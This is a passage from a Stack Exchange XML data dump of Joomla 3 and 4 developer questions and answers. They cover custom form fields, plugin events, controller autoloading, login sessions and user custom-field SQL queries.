  <row Id="31770" PostTypeId="1" AcceptedAnswerId="31772" CreationDate="2021-12-27T21:16:43.640" Score="0" ViewCount="45" Body="&lt;p&gt;I'm creating my &lt;strong&gt;custom Field&lt;/strong&gt; extending the clasic &lt;strong&gt;JFormField&lt;/strong&gt; like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldExtension extends JFormField {&#xA;&#xA;protected $type = 'extension';&#xA;&#xA;// Constructor&#xA;public function __construct(\Joomla\CMS\Form\Form $form = null) &#xA;{&#xA;    parent::__construct($form);&#xA;&#xA;    JLog::add('************** JFormFieldExtension *****************', JLog::INFO, 'my_comp');&#xA;    JLog::add('* CONSTRUCT ====&amp;gt;'.$this-&amp;gt;element['name'].'&amp;lt;=====', JLog::INFO, 'my_comp');&#xA;}&#xA;&#xA;public function getInput() &#xA;{&#xA;&#xA;    JLog::add('************** JFormFieldExtension *****************', JLog::INFO, 'my_comp');&#xA;    JLog::add('* getInput ====&amp;gt;'.$this-&amp;gt;element['name'].'&amp;lt;=====', JLog::INFO, 'my_comp');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With this code above, I get the following output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2021-12-27T20:53:48+00:00   INFO 172.18.0.1 my_comp ************** JFormFieldExtension *****************&#xA;2021-12-27T20:53:48+00:00   INFO 172.18.0.1 my_comp * CONSTRUCT ====&amp;gt;&amp;lt;=====&#xA;2021-12-27T20:53:48+00:00   INFO 172.18.0.1 my_comp ************** JFormFieldExtension *****************&#xA;2021-12-27T20:53:48+00:00   INFO 172.18.0.1 my_comp * getInput ====&amp;gt;field_name&amp;lt;=====&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Question is: Why I get the $this-&amp;gt;element['name'] inside the getInput() function, but not inside the __construct() ?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2021-12-28T07:37:25.870" Title="JFormField extension doesn't access $this-&gt;element from the constructor" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31771" PostTypeId="2" ParentId="31760" CreationDate="2021-12-28T02:08:47.413" Score="0" Body="&lt;p&gt;@Saravanan Do you mean that when a user submits the form and they are already a registered user, they then get logged into the frontend of the website? If this is the case, I do not see why this is a problem unless the wrong permissions are set and give them more control than you would want. For example, it allows them to edit with editor permissions. But please as suggested, give a better example of what you mean.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2021-12-28T02:08:47.413" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31772" PostTypeId="2" ParentId="31770" CreationDate="2021-12-28T07:37:25.870" Score="1" Body="&lt;p&gt;&lt;code&gt;element&lt;/code&gt; property is set in field's &lt;code&gt;setup()&lt;/code&gt; method. It's normally called by the form. But if you're using the field as a standalone class, you can call it manually.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-12-28T07:37:25.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31773" PostTypeId="1" CreationDate="2021-12-29T19:57:23.047" Score="0" ViewCount="112" Body="&lt;p&gt;I have tried&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;item-&amp;gt;catid == 12){&#xA;return true;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;OR with $article-&amp;gt;catid&#xA;I put the mentioned code in a module &lt;a href=&quot;https://joomhelper.com/dbpqnex&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomhelper.com/dbpqnex&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Another solution (maybe even more interesting if I make conditions on categories or others) is the excellent sourcerer &lt;a href=&quot;https://docs4.regularlabs.com/source...rious-examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs4.regularlabs.com/source...rious-examples&lt;/a&gt; .&#xA;Unfortunately currently despite the advanced settings tested on the plugin, I find myself with a corrupted code when saving as admin in the backoffice with tinyMCE. The setting &amp;quot;Use Joomla text filters&amp;quot; was enabled/disabled in set 0 (related to super admin!)&#xA;Code:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;{source} This text should be&#xA;red!&lt;/p&gt; &lt;p&gt; &#xA;document.write('This text is placed through&#xA;&lt;strong&gt;JavaScript&lt;/strong&gt;!');  &lt;/p&gt; &#xA;&lt;p&gt;'; echo 'This text is placed through &lt;strong&gt;PHP&lt;/strong&gt;!'; echo&#xA;''; ?&amp;gt; {/source}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is another issue, maybe I need to open a new thread?&#xA;Regards&lt;/p&gt;&#xA;" OwnerUserId="14630" LastActivityDate="2021-12-29T19:57:23.047" Title="joomla4: test the category id" Tags="|joomla-4.x|category|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31774" PostTypeId="2" ParentId="21496" CreationDate="2021-12-30T04:47:31.980" Score="1" Body="&lt;p&gt;If you want an easy way to do it just install the &lt;a href=&quot;https://extensions.joomla.org/extension/easy-profile/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Easy Profile&lt;/a&gt; component from the JED. It integrates with registration and with advanced fields in the user's profile which they may edit. I use it a good bit, very simple to setup and manage all of the custom fields you want with direct integration.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2021-12-30T04:47:31.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31775" PostTypeId="1" CreationDate="2022-01-02T18:59:05.957" Score="1" ViewCount="35" Body="&lt;p&gt;We are building a new site founded on Joomla 4, and would like to only use core extension like the Article features built into Joomla 4, but we've run into a wall trying to implement editing an article from the Frontend of the site. We've found an effective way to get an article that we want to edit to display within the Article Editor on the Frontend except it fails to come up with the content included in the original (it comes up blank). What do we need to do to get the content of the selected, existing article to be included for editing on the Frontend of the site? I've included screen captures showing how we get the Event Editor to display on the Frontend and the resulting, blank, unpopulated editor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ulxc1.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ulxc1.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15997" LastActivityDate="2022-01-02T18:59:05.957" Title="How to populate Frontend Article Editor with existing Article content, Joomla 4?" Tags="|joomla-4.x|front-end|editing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31779" PostTypeId="1" CreationDate="2022-01-04T18:45:46.513" Score="1" ViewCount="52" Body="&lt;p&gt;I am a beginner and should like to have certain length of archived articles to appear in search result.&#xA;Currently ~ 110 characters appear  at the user screen.&lt;/p&gt;&#xA;&lt;p&gt;I looked over the different menus in this context without success.&lt;/p&gt;&#xA;&lt;p&gt;It would be nice to decide the starting place of characters of the text to appear in the archive list screen.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fabiU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fabiU.jpg&quot; alt=&quot;Layout setting&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16002" LastEditorUserId="16002" LastEditDate="2022-01-06T21:24:48.080" LastActivityDate="2022-01-06T21:24:48.080" Title="In standard Joomla 3 how to decide the length and perhps parts of a text of an article in Archive listing" Tags="|joomla-3.x|articles|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31780" PostTypeId="1" CreationDate="2022-01-08T02:54:21.603" Score="0" ViewCount="212" Body="&lt;p&gt;How can I keep a user logged in after they close the browser? I don't want the user to have to log into the site every time they visit it. I have increased session lifetime, but that does not work when the browser is closed. Is there a way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="14179" LastEditorUserId="12352" LastEditDate="2022-01-08T23:39:48.977" LastActivityDate="2022-01-08T23:39:48.977" Title="Keep user logged into Joomla session after browser closed" Tags="|joomla-3.x|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31781" PostTypeId="2" ParentId="31780" CreationDate="2022-01-08T09:15:27.523" Score="1" Body="&lt;p&gt;You need to have them click on the Remember Me check box when they login to the site and this will store a RememberMe cookie in the users' browser storage that will be read next time they visit the site and automatically log them in.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/y5W8C.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5W8C.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you don't see the 'Remember Me' check box on your front end login you need to look at the Plugins and make sure the 'System - Remember Me' plugin is enabled.&lt;/p&gt;&#xA;&lt;p&gt;Remember Me works for around 30 days and then the user will have to login again before they are remembered for another 30 days.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-01-08T09:15:27.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31782" PostTypeId="1" CreationDate="2022-01-09T13:46:29.380" Score="0" ViewCount="392" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0JUJu.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0JUJu.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;How to create menu item in admin menu Joomla 4 in php? From plugin/module for Joomla4?&lt;/p&gt;&#xA;" OwnerUserId="16009" LastActivityDate="2024-01-31T11:07:20.833" Title="How to create menu item in admin menu Joomla 4 in php+mysql in module, plugin?" Tags="|php|mysql|joomla-4.x|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31784" PostTypeId="2" ParentId="31782" CreationDate="2022-01-10T12:30:55.780" Score="0" Body="&lt;p&gt;Plugins and Module don't have their own Admin Menu items. In the back-end via &amp;quot;Menus &amp;gt; Manage&amp;quot; you can &lt;strong&gt;create new Admin Menu items&lt;/strong&gt; but only &lt;strong&gt;to Component Views&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;There's an option to create Menu Items of Menu Item Type &amp;quot;System Links &amp;gt; URL&amp;quot; but you cannot use that to trigger your Modules or Plugins.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-01-10T12:30:55.780" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31786" PostTypeId="1" CreationDate="2022-01-10T14:49:37.627" Score="0" ViewCount="192" Body="&lt;p&gt;I am using Joomla 3.10.4 and I have made a drop down menu that displays submenu's that display a single article when clicked on. However when it pulls up the article it doesn't take up width of the page like it should - I can tell by the colored background behind the text and if I move the text it just smushes. I have made sure that there wasn't anything like a module next to it. What can I do?  &lt;a href=&quot;https://i.stack.imgur.com/kI0Hd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kI0Hd.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16010" LastActivityDate="2024-02-01T07:09:06.097" Title="Can't get article to expand full width of page" Tags="|articles|submenu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31787" PostTypeId="1" AcceptedAnswerId="31788" CreationDate="2022-01-10T16:00:56.323" Score="2" ViewCount="59" Body="&lt;p&gt;I've been writing a field plug-in for adding files to articles in com_content.  I've got the basics of the field plug-in working ok, extending the JFormFieldFile class&lt;/p&gt;&#xA;&lt;p&gt;The issue I've hit is, for the com_content form to be able to handle the upload of the file, it needs to have the encoding type of multipart, like &lt;code&gt;enctype=&amp;quot;multipart/form-data&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I could create a template override, with the &lt;code&gt;edit.php&lt;/code&gt; file, and change the form tag there, but I'd like the form plug-in to not be dependent on a specific template.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know a nice way of changing the form's tag from a field plug-in?&lt;/p&gt;&#xA;&lt;p&gt;This is the first field plug-in I've written, so am still getting the hang of it.&lt;/p&gt;&#xA;&lt;p&gt;I've using Joomla 4.0.5, incase that's useful to know.&lt;/p&gt;&#xA;" OwnerUserId="5376" LastActivityDate="2022-01-11T08:39:07.287" Title="Creating a field plug-in, need the com_content form to be enctype multipart" Tags="|custom-field|form-fields-types|joomla-4.x|fields|com-fields|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31788" PostTypeId="2" ParentId="31787" CreationDate="2022-01-11T08:16:04.767" Score="3" Body="&lt;p&gt;There really isn't a good way to do this. Your best bet is parsing the already generated HTML and making a replacement there. For the component this can be done using &lt;code&gt;onAfterDispatch&lt;/code&gt; event. Below is a basic example that adds &lt;code&gt;enctype&lt;/code&gt; attribute to all component forms with &lt;code&gt;item-form&lt;/code&gt; ID. Regex can probably be optimized and maybe a check should be added to prevent double attribute, in case it's already added in the layout. Also note that the ID may differ in different components and views. For instance, in frontend article form it's &lt;code&gt;adminForm&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterDispatch()&#xA;{&#xA;    // Get the document.&#xA;    $doc = $this-&amp;gt;app-&amp;gt;getDocument();&#xA;&#xA;    // Check that we are manipulating a HTML document.&#xA;    if (!($doc instanceof Joomla\CMS\Document\HtmlDocument))&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    // Get the HTML content.&#xA;    $html = $doc-&amp;gt;getBuffer('component');&#xA;&#xA;    // Add the attribute.&#xA;    $html = preg_replace('/&amp;lt;form((?=[^&amp;gt;]*id=&amp;quot;item-form&amp;quot;)[^&amp;gt;]*)&amp;gt;/', '&amp;lt;form$1 enctype=&amp;quot;multipart/form-data&amp;quot;&amp;gt;', $html);&#xA;&#xA;    // Set the updated HTML.&#xA;    $doc-&amp;gt;setBuffer($html, 'component');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Depending on whether you want this to run in other components, you may add some context checks. E.g. to run this only in &lt;code&gt;com_content&lt;/code&gt; article forms, add this at the top:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Check that we're in correct application.&#xA;if (!$this-&amp;gt;app-&amp;gt;isClient('site') &amp;amp;&amp;amp; !$this-&amp;gt;app-&amp;gt;isClient('administrator'))&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;$input = $this-&amp;gt;app-&amp;gt;getInput();&#xA;&#xA;// Check the component.&#xA;if ($input-&amp;gt;get('option') !== 'com_content')&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;// Check the views.&#xA;if ($this-&amp;gt;app-&amp;gt;isClient('site') &amp;amp;&amp;amp; $input-&amp;gt;get('view') !== 'form')&#xA;{&#xA;    return;&#xA;}&#xA;&#xA;if ($this-&amp;gt;app-&amp;gt;isClient('administrator') &amp;amp;&amp;amp; $input-&amp;gt;get('view') !== 'article')&#xA;{&#xA;    return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2022-01-11T08:39:07.287" LastActivityDate="2022-01-11T08:39:07.287" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31789" PostTypeId="1" CreationDate="2022-01-11T16:11:58.143" Score="2" ViewCount="281" Body="&lt;p&gt;I am trying to edit my index.php file in my website using the Joomla! extension manager. I have to add the code right before my closing  tag however there is no HTML! So I've tried adding some, after closing the PHP section but as soon as I save it - there's an internal server error.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;* Define the application's minimum supported PHP version as a constant so it can be &#xA;referenced within the application.&#xA;*/&#xA;define('JOOMLA_MINIMUM_PHP', '5.3.10');&#xA;&#xA;if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '&amp;lt;'))&#xA;{&#xA;   die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this &#xA;   version of Joomla!');&#xA;}&#xA;&#xA;&#xA;$startTime = microtime(1);&#xA;$startMem  = memory_get_usage();&#xA;&#xA;&#xA;define('_JEXEC', 1);&#xA;&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA; include_once __DIR__ . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;&#xA;JDEBUG ? JProfiler::getInstance('Application')-&amp;gt;setStart($startTime, $startMem)- &#xA;&amp;gt;mark('afterLoad') : null;&#xA;&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;&#xA;$app-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;So I have tried this:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;&#xA;* Define the application's minimum supported PHP version as a constant so it can be &#xA;referenced within the application.&#xA;*/&#xA;define('JOOMLA_MINIMUM_PHP', '5.3.10');&#xA;&#xA;if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '&amp;lt;'))&#xA;{&#xA;   die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this &#xA;   version of Joomla!');&#xA;}&#xA;&#xA;&#xA;$startTime = microtime(1);&#xA;$startMem  = memory_get_usage();&#xA;&#xA;&#xA;define('_JEXEC', 1);&#xA;&#xA;if (file_exists(__DIR__ . '/defines.php'))&#xA;{&#xA; include_once __DIR__ . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES'))&#xA;{&#xA;    define('JPATH_BASE', __DIR__);&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;&#xA;JDEBUG ? JProfiler::getInstance('Application')-&amp;gt;setStart($startTime, $startMem)- &#xA;&amp;gt;mark('afterLoad') : null;&#xA;&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;&#xA;$app-&amp;gt;execute();&#xA;&#xA;&amp;lt;!DOCTYPE html&amp;gt;&#xA;    &amp;lt;html&amp;gt;&#xA;        &amp;lt;body&amp;gt;&#xA;            &amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;&#xA;        &amp;lt;/body&amp;gt;&#xA;    &amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Yes I did put the actual script code in, for this question I just put the script tag. I am trying to add hubspot webchat by this script:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script type=&amp;quot;text/javascript&amp;quot; id=&amp;quot;hs-script-loader&amp;quot; async defer &#xA; src=&amp;quot;//js-na1.hs-scripts.com/********.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;******** are numbers that I edited out&lt;/p&gt;&#xA;" OwnerUserId="16010" LastEditorUserId="13472" LastEditDate="2022-01-20T08:54:22.223" LastActivityDate="2022-01-20T08:54:22.223" Title="Can't edit index.php in Joomla 3.10" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31790" PostTypeId="1" CreationDate="2022-01-11T16:33:21.613" Score="0" ViewCount="31" Body="&lt;p&gt;Sorry if this is the wrong forum but I can't find any help elsewhere.&#xA;I tried to take a backup with akeeba but it got stuck so I closed the browser but now I can't access anything. 504 Gateway Time-out everywhere.&#xA;It's been hours. Does akeeba lock anything while doing backup? How can I regain access to site and backend?&lt;/p&gt;&#xA;" OwnerUserId="16012" LastActivityDate="2022-01-11T16:33:21.613" Title="Can't access Joomla site after failed akeeba backup" Tags="|joomla-3.x|akeebabackup|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31791" PostTypeId="1" CreationDate="2022-01-11T16:39:47.850" Score="1" ViewCount="346" Body="&lt;p&gt;I'm creating a contact form with Privacy Check box (Joomla 4, template Cassiopeia).&#xA;I have done all the steps as in joomla 3.x (custom fields) and everything works. But...&#xA;When the e-mail arrives, all the data and the text written in the box are missing!&lt;/p&gt;&#xA;&lt;p&gt;I did some tests:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 different hosting;&lt;/li&gt;&#xA;&lt;li&gt;3 different websites (all Joomla 4, Cassiopeia template);&lt;/li&gt;&#xA;&lt;li&gt;2 websites with the check box and 1 without check box.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Same problem for all websites: I don't see the text that is written in the box (and the data of who sent the message).&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions of what I need to check?&lt;/p&gt;&#xA;&lt;p&gt;Thank you very much&lt;/p&gt;&#xA;" OwnerUserId="16013" LastActivityDate="2024-03-11T10:03:05.367" Title="Joomla 4: Problem with the contact form, the text sent is missing" Tags="|joomla-4.x|emails|joomla-4|contact-form|cassiopeia|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31792" PostTypeId="1" AcceptedAnswerId="31795" CreationDate="2022-01-11T16:50:10.707" Score="2" ViewCount="357" Body="&lt;p&gt;I have an existing J3 component admin view which fires off a Javascript Ajax call to a Json controller and fetches back data which I then incorporate into that view. I'm trying to replicate how I've done that into a J4 component but I can't seem to get it working.&lt;/p&gt;&#xA;&lt;p&gt;The controller is at:&#xA;&lt;strong&gt;administrator/components/com_erycdirectory/src/Controller/InputDataController.json.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The namespace for that controller is &lt;strong&gt;Eryc\Component\ErycDirectory\Administrator\Controller&lt;/strong&gt;, the class name is &lt;strong&gt;InputDataController&lt;/strong&gt; and it extends &lt;strong&gt;\JControllerLegacy&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The function in this controller that I want to access remotely is called &lt;strong&gt;getInputsByDirectoryId()&lt;/strong&gt; and it is currently set to echo out a json encoded array with a single hard-coded key/value pair in it until I can get it working. Then I'll update it to fetch a model to access the database with.&lt;/p&gt;&#xA;&lt;p&gt;The Ajax call in the template is being sent to&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;'index.php?option=com_erycdirectory&amp;amp;task=inputdata.getinputsbydirectoryid&amp;amp;format=json'&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The error that comes back is &amp;quot;&lt;strong&gt;Invalid controller class: inputdata&lt;/strong&gt;&amp;quot;. Any suggestions as to what I might be missing would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2022-01-12T08:17:58.540" Title="Invalid controller class from custom component ajax call to json method" Tags="|custom-component|administrator|ajax|joomla-4.x|json|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31793" PostTypeId="2" ParentId="31791" CreationDate="2022-01-11T20:01:47.783" Score="0" Body="&lt;p&gt;Solved!&#xA;The problem is in the Italian language on administrator backend (I presume).&#xA;Tested with the English language it works (but only if the English language remains!).&lt;/p&gt;&#xA;" OwnerUserId="16014" LastActivityDate="2022-01-11T20:01:47.783" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31794" PostTypeId="2" ParentId="31786" CreationDate="2022-01-12T03:34:01.300" Score="0" Body="&lt;p&gt;I think you should check the element of the div surrounding the post, there may be a max-width here.&lt;/p&gt;&#xA;" OwnerUserId="16015" LastActivityDate="2022-01-12T03:34:01.300" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31795" PostTypeId="2" ParentId="31792" CreationDate="2022-01-12T08:17:58.540" Score="2" Body="&lt;p&gt;In J4 default MVC factory uses PSR-4 autoloading. So &lt;code&gt;InputDataController.json.php&lt;/code&gt; filename is invalid, your controller class will not be found at all. Secondly, default component dispatcher doesn't use format for creating controllers anymore. The simple solution here is to rename the file to &lt;code&gt;InputDataController.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If you want to customize the class structure, you can extend &lt;code&gt;Joomla\CMS\MVC\Factory\MVCFactory&lt;/code&gt; and &lt;code&gt;Joomla\CMS\Dispatcher\ComponentDispatcher&lt;/code&gt; or create your own implementations of &lt;code&gt;Joomla\CMS\MVC\Factory\MVCFactoryInterface&lt;/code&gt; and &lt;code&gt;Joomla\CMS\Dispatcher\DispatcherInterface&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-01-12T08:17:58.540" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31796" PostTypeId="1" CreationDate="2022-01-12T10:08:54.707" Score="0" ViewCount="5662" Body="&lt;p&gt;I have hosted a website using a backup and when I access it through a web browser, it shows me &lt;strong&gt;error&lt;/strong&gt; and I have changed configuration.php file from:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'none';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $error_reporting = 'development';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;then the browser shows me:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: session_start(): Failed to read session data: user (path: /var/lib/php/sessions) in /var/www/html/web/libraries/joomla/session/handler/native.php on line 260&#xA;Error: Failed to start application: Failed to start the session&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="16017" LastEditorUserId="12352" LastEditDate="2022-01-12T22:16:55.687" LastActivityDate="2022-02-01T06:08:56.893" Title="Application shows session_start(): Failed to read session data: on browser" Tags="|joomla-3.x|php|session|apache|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31797" PostTypeId="1" CreationDate="2022-01-12T14:44:36.783" Score="2" ViewCount="721" Body="&lt;p&gt;I have rudimentary knowledge of SQL (when it comes to anything but single tables) and am trying to come up with a query that will give me all the custom fields for my users.&lt;/p&gt;&#xA;&lt;p&gt;This query will give me all my users sorted by group:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;   -&amp;gt;select('name, email, id')&#xA;   -&amp;gt;from($db-&amp;gt;quoteName('#__users', u))&#xA;   -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__user_usergroup_map', map) . ' ON ' . $db-&amp;gt;quoteName('map.user_id') . ' = ' . $db-&amp;gt;quoteName('u.id'))&#xA;   -&amp;gt;where('map.group_id' . ' = ' . $group)&#xA;   -&amp;gt;order('`name` ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which produces:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT name, email, id&#xA;FROM `#__users` AS `u`&#xA;LEFT JOIN `#__user_usergroup_map` AS `map` ON `map`.`user_id` = `u`.`id`&#xA;WHERE map.group_id = 10&#xA;ORDER BY `name` ASC &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but I'm puzzled how to add the custom fields that are in the user context (com_users.user) and pertain to each user (based on id). Joins are something I'm just not familiar with in practice. And, Joomla's shorthand for SQL is something else I'm still puzzling through.&lt;/p&gt;&#xA;&lt;p&gt;While I wouldn't mind just getting the pieces that would make this work, I'm also interested in the how and why - unless that's way too much for a single question.&lt;/p&gt;&#xA;&lt;p&gt;UPDATE: having tried a few things, I find I can get all the values in the fields, but then I get repeated records - for each user, I get all the user info plus ONE field - repeated for as many fields per user as there are. What I'm wanting is ONE user with all the field data (hopefully with field names) so I can present that on a page. Here's what I tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query = $db-&amp;gt;getQuery(true)&#xA;    -&amp;gt;select('u.name, u.email, u.id, fv.value')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__users', u))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__user_usergroup_map', map) . ' ON ' . $db-&amp;gt;quoteName('map.user_id') . ' = ' . $db-&amp;gt;quoteName('u.id'))&#xA;    -&amp;gt;join('RIGHT', $db-&amp;gt;quoteName('#__fields_values', fv) . ' ON ' . $db-&amp;gt;quoteName('fv.item_id') . ' = ' . $db-&amp;gt;quoteName('u.id'))&#xA;    -&amp;gt;where('map.group_id' . ' = ' . $group)&#xA;    -&amp;gt;order('`name` ASC');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Update: 1/24 - @mickmackusa - thanks for pushing me on 